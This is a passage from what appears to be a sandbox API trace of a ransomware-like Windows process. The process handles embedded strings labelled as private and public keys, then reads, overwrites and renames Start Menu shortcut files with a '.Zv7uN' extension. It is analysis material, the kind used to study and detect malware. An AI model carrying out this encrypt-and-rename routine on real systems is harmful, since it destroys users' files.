lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.104] GetCurrentThreadId () returned 0xa30 [0131.104] GetCurrentThreadId () returned 0xa30 [0131.104] GetCurrentThreadId () returned 0xa30 [0131.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.105] GetCurrentThreadId () returned 0xa30 [0131.105] GetCurrentThreadId () returned 0xa30 [0131.105] GetCurrentThreadId () returned 0xa30 [0131.105] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows dvd maker.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0131.105] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0131.105] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0131.105] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x52e [0131.105] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0131.106] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x52e, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f6a0*=0x52e, lpOverlapped=0x0) returned 1 [0131.122] CloseHandle (hObject=0x1ec) returned 1 [0131.132] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows dvd maker.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0131.279] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f29460*, nNumberOfBytesToWrite=0x52e, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f29460*, lpNumberOfBytesWritten=0x18f6ac*=0x52e, lpOverlapped=0x0) returned 1 [0131.281] CloseHandle (hObject=0x1ec) returned 1 [0131.281] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows dvd maker.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows DVD Maker.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows dvd maker.lnk.zv7un")) returned 1 [0131.459] GetCurrentThreadId () returned 0xa30 [0131.459] GetCurrentThreadId () returned 0xa30 [0131.459] GetCurrentThreadId () returned 0xa30 [0131.459] GetCurrentThreadId () returned 0xa30 [0131.459] GetCurrentThreadId () returned 0xa30 [0131.459] GetCurrentThreadId () returned 0xa30 [0131.460] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7b6b82, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d7b6b82, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d7dcce2, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0131.460] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0131.460] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0131.460] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows fax and scan.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7b6b82, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d7b6b82, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d7dcce2, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ba)) returned 1 [0131.460] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows fax and scan.lnk")) returned 0x20 [0131.461] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Fax and Scan.lnk", dwFileAttributes=0x80) returned 1 [0131.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 